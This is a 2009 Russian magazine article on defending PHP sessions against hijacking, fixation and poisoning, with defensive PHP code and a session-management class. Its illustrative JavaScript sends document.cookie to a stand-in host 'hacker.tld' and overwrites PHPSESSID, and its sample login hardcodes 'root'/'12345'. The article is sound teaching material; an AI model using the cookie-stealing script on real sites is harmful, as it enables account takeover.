Безопасная работа с сессиями в PHP::Журнал СА 2.2009
www.samag.ru
     
Поиск   
              
 www.samag.ru    Web  0 товаров , сумма 0 руб.
E-mail
Пароль  
 Запомнить меня
Регистрация | Забыли пароль?
Журнал "Системный администратор"
Журнал «БИТ»
Наука и технологии
Подписка
Где купить
Авторам
Рекламодателям
Архив номеров
Контакты
   

  Опросы
  Статьи

Электронный документооборот  

5 способов повысить безопасность электронной подписи

Область применения технологий электронной подписи с каждым годом расширяется. Все больше задач

 Читать далее...

Рынок труда  

Системные администраторы по-прежнему востребованы и незаменимы

Системные администраторы, практически, есть везде. Порой их не видно и не слышно,

 Читать далее...

Учебные центры  

Карьерные мечты нужно воплощать! А мы поможем

Школа Bell Integrator открывает свои двери для всех, кто хочет освоить перспективную

 Читать далее...

Гость номера  

Дмитрий Галов: «Нельзя сказать, что люди становятся доверчивее, скорее эволюционирует ландшафт киберугроз»

Использование мобильных устройств растет. А вместе с ними быстро растет количество мобильных

 Читать далее...

Прошу слова  

Твердая рука в бархатной перчатке: принципы soft skills

Лауреат Нобелевской премии, специалист по рынку труда, профессор Лондонской школы экономики Кристофер

 Читать далее...

1001 и 1 книга  
19.03.2018г.
Просмотров: 9956
Комментарии: 0
Потоковая обработка данных

 Читать далее...

19.03.2018г.
Просмотров: 8164
Комментарии: 0
Релевантный поиск с использованием Elasticsearch и Solr

 Читать далее...

19.03.2018г.
Просмотров: 8264
Комментарии: 0
Конкурентное программирование на SCALA

 Читать далее...

19.03.2018г.
Просмотров: 5233
Комментарии: 0
Машинное обучение с использованием библиотеки Н2О

 Читать далее...

12.03.2018г.
Просмотров: 5920
Комментарии: 0
Особенности киберпреступлений в России: инструменты нападения и защита информации

 Читать далее...

Друзья сайта  

 Безопасная работа с сессиями в PHP

Архив номеров / 2009 / Выпуск №2 (75) / Безопасная работа с сессиями в PHP

Рубрика: Программирование /  Программирование

 АНТОН ГРИШАН

Безопасная работа с сессиями в PHP

Создатели PHP считают, что забота о безопасности работы с сессиями лежит на разработчике веб-приложения, а многие разработчики надеются на безопасность работы, которую гарантирует стандартный механизм работы с сессиями. В итоге разработчики не заботятся о безопасности сессий, а PHP не имеет защитных механизмов, поэтому многие PHP-приложения уязвимы.

Атаки на приложение через систему управления сессиями

Существует две основные причины, по которым возможны атаки на PHP-приложение через систему управления сессиями:

  • Нет проверки идентификатора сессии пользователя. Пользователь, знающий идентификатор сессии, не всегда является владельцем данной сессии. Любые данные, пришедшие от пользователя, нуждаются в проверке, будь то логин и пароль или идентификатор сессии.
  • Разработчики доверяют данным, хранящимся в сессии. Принято считать, что доступ к данным сессии можно получить только из приложения и поэтому безопасно использовать данные, хранящиеся в сессии, однако это далеко не так.

Рассмотрим ниже возможные варианты атак на приложение через систему управления сессиями.

Кража сессии (Session Hijacking)

Суть атаки заключается в использовании злоумышленником идентификатора сессии, принадлежащего легальному пользователю, для выдачи себя за владельца сессии.

Существует множество способов, с помощью которых можно узнать идентификатор чужой сессии, вот некоторые из них:

  • перехват трафика легального пользователя;
  • организация XSS (Cross Site Scripting)-атаки;
  • подобрать с помощью перебора.

Подмена сессии (Session Fixation)

Для подмены сессии злоумышленнику не нужен идентификатор чужой сессии, достаточно установить идентификатор своей сессии легальному пользователю, прошедшему авторизацию. Логика такого типа атаки противоположна по отношению к краже сессии, но в обоих случаях создается ситуация, при которой злоумышленник и легальный пользователь имеют один и тот же идентификатор сессии.

Отравление сессии (Session Poisoning)

Опасность отравления сессии возникает, когда PHP-приложение совместно с приложениями других пользователей исполняется на одном сервере. Угроза отравленной сессии возникает, если злоумышленник имеет возможность установить свой PHP-сценарий на сервере, где исполняется атакуемое приложение.

Суть атаки – если PHP-приложения исполняются на одном сервере, то велика вероятность, что, зная идентификатор сессии, злоумышленник сможет работать с данными сессии, созданной в атакуемом приложении.

Угроза отравления сессии существует, если злоумышленник может исполнять PHP-скрипты на сервере, где исполняется атакуемое приложение, что возможно в двух случаях:

  • приложение имеет ошибку, позволяющую исполнять PHP-код;
  • приложение работает на сервере вместе с приложениями других пользователей хостинга, наиболее актуально для небольших проектов, не имеющих выделенного сервера.

Цель атаки – получение доступа к значениям сессии с возможностью чтения/записи. В случае успеха злоумышленник может читать и/или фальсифицировать любое значение, хранящееся в сессии.

Существуют два подвида отравления сессии:

  • атаке подвергается сессия, принадлежащая легальному пользователю, с целью получения персональной информации, хранящейся в сессии;
  • злоумышленник модифицирует собственную сессию для выдачи себя за другого и/или повышения привилегий.

Методы противодействия

В PHP механизм управления сессиями предполагает, что только владелец знает идентификатор сессии и для получения доступа к данным не требует дополнительной авторизации. По аналогии можно представить ситуацию, при которой банк выдаёт деньги человеку, знающему номер существующего счета. Для безопасной работы с сессиями необходим дополнительный механизм идентификации, не причиняющий неудобств легальным пользователям и являющийся существенной преградой для злоумышленников.

Рассмотрим несколько приемов, позволяющих эффективно противостоять атакам на систему управления сессиями. Для простоты изложения в дальнейшем мы будем предполагать, что идентификатор сессии хранится в переменной c именем PHPSESSID. Данное имя переменной используется PHP по умолчанию и может быть изменено с помощью встроенной функции session_name() или путем изменения директивы session.name в php.ini.

Подпись браузера

Основная идея данного механизма защиты заключается в том, чтобы привязать идентификатор сессии к браузеру пользователя. Мы используем заголовки HTTP-запроса для создания подписи браузера. В момент старта новой сессии данное значение вычисляется и сохраняется в переменной сессии. При повторном обращении мы снова вычисляем подпись браузера и сравниваем полученный результат со значением из сессии. Если значения не совпадают, то мы расцениваем это как попытку взлома и уничтожаем сессию.

Конечно, это приведет к тому, что данные легального пользователя, хранящиеся в сессии, также будут уничтожены (возможно, пользователю придется снова авторизоваться), но и добытый злоумышленником идентификатор сессии будет более не актуален.

Рассмотрим алгоритм построения подписи браузера на базе значения HTTP-заголовка User-Agent. Данное поле содержит подробную информацию об агенте, пославшем HTTP-запрос, вот несколько примеров значения данного поля для разных браузеров, установленных на моем компьютере:

  • Firefox – Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122;
  • Internet Explorer – Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30);
  • Google Chrome – Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19.

 Значение данного поля обладает следующими важными свойствами:

  • неизменно для всех запросов пользователя – браузеру нет необходимости его изменять, если только пользователь не сменил браузер или операционную систему;
  • разные пользователи имеют разное значение параметра – так как параметр, содержит информацию о типе и версии операционной системы, версии браузера и языке, то, вероятно, для разных пользователей эти значения будут отличаться.

Разумеется, значение поля User-Agent не является абсолютно уникальным, но тем не менее вполне подходит для построения подписи браузера.

В PHP получить доступ к значению HTTP-заголовка User-Agent можно через элемент суперглобального массива $_SERVER['HTTP_USER_AGENT'].

Рассмотрим пример построения подписи браузера.

<?php

// Секретное значение, используется для построения подписи браузера

define('SESSION_BROWSER_SIGN_SECRET',  '@w434253254s9');

 

/*

 * Функция для построения подписи браузера

 *

 * @return string подпись браузера

 */

function getBrowserSign()    {

    /* Добавим секретное значение, чтобы по подписи

     * браузера злоумышленник не мог перебором найти

     * необходимое значение HTTP-заголовка */

    $rawSign = SESSION_BROWSER_SIGN_SECRET;

   

    /* Список элементов массива $_SERVER, значение

     * которых необходимо использовать для вычисления

     * построения подписи браузера */

    $signParts = array('HTTP_USER_AGENT');

 

    foreach($signParts as $signPart)    {

        $rawSign.= '::'.(isset($_SERVER[$signPart]) ? $_SERVER[$signPart] : 'none');

    }

 

return(md5($rawSign));

}

?>

При необходимости в массив $signParts можно добавить и другие HTTP-заголовки, такие как HTTP_ACCEPT_CHARSET, HTTP_ACCEPT_ENCODING, HTTP_ACCEPT_LANGUAGE.

Воспользуемся функцией getBrowserSign() для защиты сессии:

<?php

// Ключ для хранения подписи браузера

define('SESSION_BROWSER_SIGN_KEYNAME', 'session.app.browser.sign');

 

// Защита сессии с помощью подписи браузера

session_start();

 

// Вычислим подпись браузера для текущего пользователя

$currentBrowserSign = getBrowserSign();

 

if(isset($_SESSION[SESSION_BROWSER_SIGN_KEYNAME]))    {

   

    // Сравниваем подпись пользователя со значением из сессии

    if($currentBrowserSign != ?

         $_SESSION[SESSION_BROWSER_SIGN_KEYNAME])    {

        session_destroy();

        $_SESSION = array();       

        die('Попытка взлома!');

    }

   

} else {

    /* Создана новая сессия. Сохраним подпись браузера

     * для дальнейшей идентификации владельца сессии */

    $_SESSION[SESSION_BROWSER_SIGN_KEYNAME] = $currentBrowserSign;

}

?>

Для усиления защиты можно добавить IP-адрес пользователя в качестве одного из параметров подписи браузера, что существенно осложнит подделку подписи браузера. К сожалению, данное решение имеет побочные эффекты. Значительная часть пользователей имеет разный IP-адрес при каждом подключении к Интернету, а иногда IP-адрес меняется несколько раз в течение одного сеанса работы, поэтому защитный механизм будет часто работать против легальных пользователей. С другой стороны, просьба повторно ввести пароль при работе с банковским счетом – приемлемая плата за более высокий уровень безопасности.

Частично решить проблему динамических IP-адресов в контексте построения подписи браузера можно следующими способами:

  • позволить пользователю самостоятельно решить – привязывать аккаунт к IP или нет;
  • использовать часть IP-адреса для построения подписи пользователя.

Целесообразность использования IP-адреса для идентификации владельца сессии зависит от специфики разрабатываемого приложения, но в большинстве случаев минусы данного решения перевешивают возможную выгоду.

Данный механизм защиты является необходимым для защиты от подмены и/или кражи сессии, но недостаточным для обеспечения высокого уровня безопасности, потому что подпись браузера можно подделать путем отправки HTTP-заголовков, значения которых совпадают со значениями заголовков, отправляемых легальным пользователем.

Настройка PHP на работу только с сессиями из cookies

PHP позволяет принимать от пользователя идентификатор сессии двумя способами:

  • через POST/GET-данные, идентификатор сессии передается в виде параметра запроса с именем PHPSESSID, например, так: www.mysite.tld/index.php?PHPSESSID=1234567890;
  • через механизм cookie идентификатор сессии хранится в переменной с именем PHPSESSID.

По умолчанию доступны оба варианта, а значит, злоумышленнику для подмены сессии достаточно заставить пользователя кликнуть по ссылке: www.mysite.tld/index.php?PHPSESSID=< идентификатор сессии злоумышленника>.

В этом случае PHP присвоит пользователю идентификатор сессии злоумышленника. Кроме того, идентификатор сессий, входящий в состав URL, может быть опубликован самим пользователем вместе со ссылкой на сайт (высока вероятность кражи сессии).

Для повышения уровня безопасности необходимо запретить принимать идентификатор сессии через GET/POST-данные и использовать только систему – cookie. Для достижения этого эффекта исполним следующие команды:

<?php

// Использовать только cookie для передачи идентификатора сессии

@ini_set('session.use_trans_sid', false);

@ini_set('session.use_only_cookies', true);

 

session_start();

?>

Попытка изменить значение session.use_trans_sid в ходе исполнения приложения может привести к появлению предупреждения вида:

Warning: ini_set() [function.ini-set]: A session is active. You cannot change the session module's ini settings at this time.

Поэтому в приведенном выше примере для подавления предупреждений использован символ @ перед операторами ini_set. Если есть возможность, то лучше вместо использования ini_set() прописать эти директивы напрямую в php.ini:

session.use_trans_sid = 0

session.use_only_cookies = 1

 Использование системы cookie для передачи идентификатора сессии затрудняет кражу или подмену сессии. К сожалению, сессии перестанут работать для пользователей, отключивших cookie, однако этот факт не должен являться причиной отказа от хранения идентификатора сессии в cookie по следующим причинам:

  • у подавляющего большинства пользователей cookie включены;
  • хранение идентификатора в URL имеет гораздо больше отрицательных последствий, чем использование cookie;
  • если у пользователя отключены cookie, то в момент авторизации можно показать сообщение об ошибке (например: «В браузере выключены cookie. Пожалуйста, включите их.») с подробным описанием действий, необходимых для включения cookie, наподобие того, как это делает Gmail (почтовый сервис от Google).

Защита cookie, хранящей идентификатор сессии

Идентификатор сессии хранится на стороне пользователя в cookie с именем PHPSESSID. Доступ к этому значению позволит злоумышленнику организовать атаку типа «кража сессии» или «подмена сессии», поэтому защита cookie – важный элемент обеспечения безопасности работы с сессиями. Для наcтройки параметров cookie в PHP предусмотрена функция session_set_cookie_params (см. http://ru.php.net/manual/en/function.session-set-cookie-params.php), позволяющая:

  • Определить время жизни cookie. Чем меньше время существования cookie, тем меньше шансов, что ее значение удастся похитить злоумышленнику. Необходимо выбрать минимально-допустимое время жизни. Важно помнить, что время жизни cookie, хранящей идентификатор сессии, и время жизни самой сессии – не одно и то же.
  • Ограничить область видимости идентификатора сессии. Значение идентификатора сессии должно быть доступно только там, где оно действительно необходимо, и нигде более. Для этого необходимо определить домен и путь, в пределах которого будет доступно значение cookie.
  • Определить метод установки cookie. Четвертый параметр функции определяет, будет ли установлено значение cookie по средствам защищенного соединения. Если приложение работает с денежными потоками, то стоит использовать защищенное соединение (SSL) для защиты идентификатора сессии от перехвата.

Рассмотрим на практическом примере, как session_set_cookie_params помогает защитить идентификатор сессии.

<?php

session_start();

?>

 

<html>

<head>

    <title>Пример 1: Доступ к PHPSESSID с помощью JavaScript</title>

</head>

    <body>

        <script>

           // PHPSESSID содержит идентификатор сессии

           alert(document.cookie);

 

// Осуществляем кражу сессии путем передачи значений

// cookie скрипту злоумышленника (атака кража «сессии»)

window.open("http://hacker.tld/evil.php?"+document.cookie, 'new');

 

           // Кроме того, злоумышленник может изменить идентификатор сессии

           // (атака «подмена сессии»)

           document.cookie="PHPSESSID=hacked";

 

           // Теперь идентификатор сессии пользователя модифицирован

           alert(document.cookie);

        </script>

    </body>

Приведенный выше пример демонстрирует, насколько легко можно организовать атаку на «беззащитную» cookie. Воспользуемся функцией session_set_cookie_params для защиты:

<?php

// Используем HTTP-only cookie для хранения идентификатора сессии

session_set_cookie_params(0, ‘/’, ‘’, false, true);

session_start();

?>

 

<html>

<head>

    <title>Пример 2: Защита PHPSESSID с помощью http only</title>

</head>

    <body>

        <script>

           // PHPSESSID не доступна здесь

           alert(document.cookie);

 

// Украсть идентификатор сессии не удается

window.open("http://hacker.tld/evil.php?"+document.cookie, 'new');

 

           // Не удается изменить идентификатор сессии

           document.cookie="PHPSESSID=hacked";

 

           // Ничего сделать не удалось

           alert(document.cookie);

        </script>

    </body>

Правильное хранение идентификатора сессии существенно осложняет кражу или подмену сессии на начальном этапе, когда злоумышленник пытается узнать или изменить идентификатор сессии легального пользователя.

Регенерация идентификатора сессии

Предположим, что злоумышленник готовит атаку типа «подмена сессии» и сумел установить свой идентификатор сессии в браузер жертвы до того, как пользователь прошел авторизацию и как только пользователь пройдет авторизацию, злоумышленник получит доступ к аккаунту пользователя.

Предотвратить эту ситуацию поможет регенерация идентификатора сессии. При регенерации идентификатора сессии PHP отправит новый идентификатор пользователю, чей запрос привел к регенерации, а старый идентификатор будет более недоступен.

Например, если приложение будет регенерировать идентификатор сессии в момент авторизации, то даже если злоумышленник установит свой идентификатор, пользователь получит новый идентификатор сессии в момент авторизации, а идентификатор, установленный злоумышленником, перестанет существовать.

Для успешной защиты от подмены сессии необходимо регенерировать идентификатор в следующих случаях:

  • в момент создания новой сессии;
  • в момент изменения привилегий пользователя (например, авторизация пользователя).

В PHP для регенерации идентификатора сессии существует функция session_regenerate_id(), рассмотрим пример авторизации пользователя со сменой идентификатора сессии:

<?php

session_start();

 

// Проверим, создана новая сессия или нет

if(!isset($_SESSION['createDate'])) {

    // Создана новая сессия, регенерируем идентификатор сессии

    session_regenerate_id(true);

$_SESSION['createDate'] = time();

}

 

// Авторизация пользователя

if($_REQUEST['login'] == 'root' && $_REQUEST['password'] == '12345'){

    // Пользователь авторизован, необходимо изменить идентификатор сессии

    session_regenerate_id(true);

    $_SESSION['isAdmin'] = true;

    echo 'Вы успешно прошли авторизацию';

   

} else {

    $_SESSION['isAdmin'] = false;

    echo 'Ошибка в имени или пароле!';

}

?>

 Может возникнуть желание регенерировать идентификатор сессии при каждом запросе, но этого не стоит делать по следующим причинам:

  • если авторизованный пользователь откроет страницу сайта в нескольких окнах браузера (вкладках), то идентификатор сессии будет корректным только в первом открытом окне;
  • если пользователь осуществит переход на предыдущую страницу с помощью кнопки браузера «Назад», то это приведет к разрушению текущей сессии.

Данная защита эффективна против атаки типа «подмена сессии» и косвенно осложняет атаку «кража сессии».

Безопасное хранение данных сессии

По умолчанию PHP хранит данные сессии в виде файлов, расположенных в каталоге, путь к которому указан в директиве session.save_path конфигурационного файла php.ini. Имена файлов, хранящие данные сессии, имеют формат имени вида sess_<идентификатор сессии> (например, sess_16d2f54d7ccea580faa02251cce9a5cc), т.е. зная имя файла, можно узнать идентификатор сессии. Только интерпретатор PHP и администратор сервера могут иметь доступ к каталогу с сессиями и никто более.

Часто на одном веб-сервере работает множество PHP-приложений, принадлежащих разным людям (разным пользователям хостинга). Если для всех приложений PHP использует одну и ту же папку для хранения файлов сессии, это потенциально позволяет организовать атаку типа «отравленная сессия».

Для повышения безопасности можно переопределить имя папки, хранящей файлы сессий. Для этого в PHP существует функция session_save_path, помогающая установить свой путь до папки, где будут храниться файлы с данными сессий пользователей.

Кроме того, PHP позволяет с помощью функции session_set_save_handler переопределить стандартный механизм хранения данных сессии. Описание принципа действия и пример использования session_set_save_handler можно найти по адресу: http://php.net/manual/ru/function.session-set-save-handler.php.

В качестве хранилища данных сессии можно использовать БД, что в большинстве случаев позволяет повысить уровень безопасности. Для хранения данных в БД можно создать собственный класс (см. http://shiflett.org/articles/storing-sessions-in-a-database) или воспользоваться PHP-расширением PostgreSQL Session Save Handler (см. http://www.php.net/manual/ru/book.session-pgsql.php).

Данный механизм защиты позволяет минимизировать вероятность атаки типа «отравление сессии».

Класс для безопасного управления сессией

Воспользуемся приведенными выше теоретическими выкладками для написания собственного класса управления сессиями, гарантирующего приемлемый уровень безопасности. Создавать экземпляр класса в нашей ситуации нет необходимости, поэтому все методы класса будут статичными.

<?php

/* Класс для управления сессиями */

class Session {

 

    const browserSignRandHash = 'W2452Sfdxrf3#';

    const browserSignKeyName  = '__app_session_fp';

   

    const cookieName = 'PSID'; // Имя cookie сессии

    const lifetime   = 0; // Cookie существует до закрытия окна браузера

    const path       = '/'; // Путь cookie

    const domain     = ''; // Домен

    const secure     = false; // Использовать HTTPS

                              // для установки cookie

    const httponly   = true; // Использовать HTTP-only cookie

   

    /* Метод для старта сессии */

    public static function start()    {

 

        // Принимать идентификатор сессии только из cookie

        // (лучше прописать соответствующие директивы в php.ini)

        @ini_set('session.use_trans_sid', false);

        @ini_set('session.use_only_cookies', true);

       

        // Устанавливаем собственное имя cookie, хранящей ID сессии

        session_name(self::cookieName);

       

        // Задаем параметры cookie для хранения идентификатора сессии

        session_set_cookie_params(self::lifetime, self::path, self::domain, self::secure, self::httponly);

       

        session_start();

       

        // Вычисляем подпись браузера

        $browserSign = self::getBrowserSign();

       

        // новая сессия или нет

        if(isset($_SESSION[self::browserSignKeyName]))  {

           

            // Проверим подпись браузера и значение

            // из сессии

            if($_SESSION[self::browserSignKeyName] != $browserSign)    {

               

                // Попытка взлома

                $error = 'Browser sign do not match: in session = ['.$_SESSION [self::browserSignKeyName].'] users = ['.$browserSign.']';

               

                // уничтожаем сессию

                self::destroy();

               

                // Обрабатываем ошибку

                die($error);

            }

           

        } else {

            // Создана новая сессия

            $_SESSION[self::browserSignKeyName] = $browserSign;

           

            // Изменяем идентификатор сессии

            self::changeId();

        }

       

       

    }

   

    public static function changeId(){

        session_regenerate_id(true);

    }

   

    public static function destroy() {

        session_unset();

        session_destroy();

        $_SESSION = array();

    }

   

    private static function getBrowserSign()    {

        return MD5(self::browserSignRandHash.':'.$_SERVER['HTTP_USER_AGENT']);

 

    }

}

?>

Рассмотрим пример использования класса Session для авторизации пользователя:

<?php

// Пример использования класса для управления сессиями

include “Session.php”;

 

Session::start();

 

if($_REQUEST['login'] == 'root' && $_REQUEST['password'] == '12345'){

    Session::changeId();

    $_SESSION['isAdmin'] = true;

    echo 'Вы успешно прошли авторизацию';

 

} else {

    $_SESSION['isAdmin'] = false;

    echo 'Ошибка в имени или пароле!';

}

?>

Класс Session обеспечивает приемлемый уровень защиты против кражи или подмены сессии, но не защищает от «отравленных» сессий и не является идеальным решением для всех проектов. Разные типы приложений требуют разных мер безопасности, поэтому для реального проекта необходимо определить основные источники угроз и модифицировать класс таким образом, чтобы обеспечить адекватные меры защиты.

  1. Механизм работы с сессиями в PHP – http://php.net/manual/en/book.session.php.
  2. Описание атаки «подмена сессии» – http://shiflett.org/articles/session-fixation.
  3. Описание атаки «кража сессии» – http://shiflett.org/articles/session-hijacking.
  4. Описание атаки «отравление сессии» – http://en.wikipedia.org/wiki/Session_poisoning.
  5. Хранение сессии в базе данных – http://shiflett.org/articles/storing-sessions-in-a-database.

Комментарии отсутствуют

Добавить комментарий

Комментарии могут оставлять только зарегистрированные пользователи

               Copyright © Системный администратор

Яндекс.Метрика
Tel.: (499) 277-12-41
Fax: (499) 277-12-45
E-mail: sa@samag.ru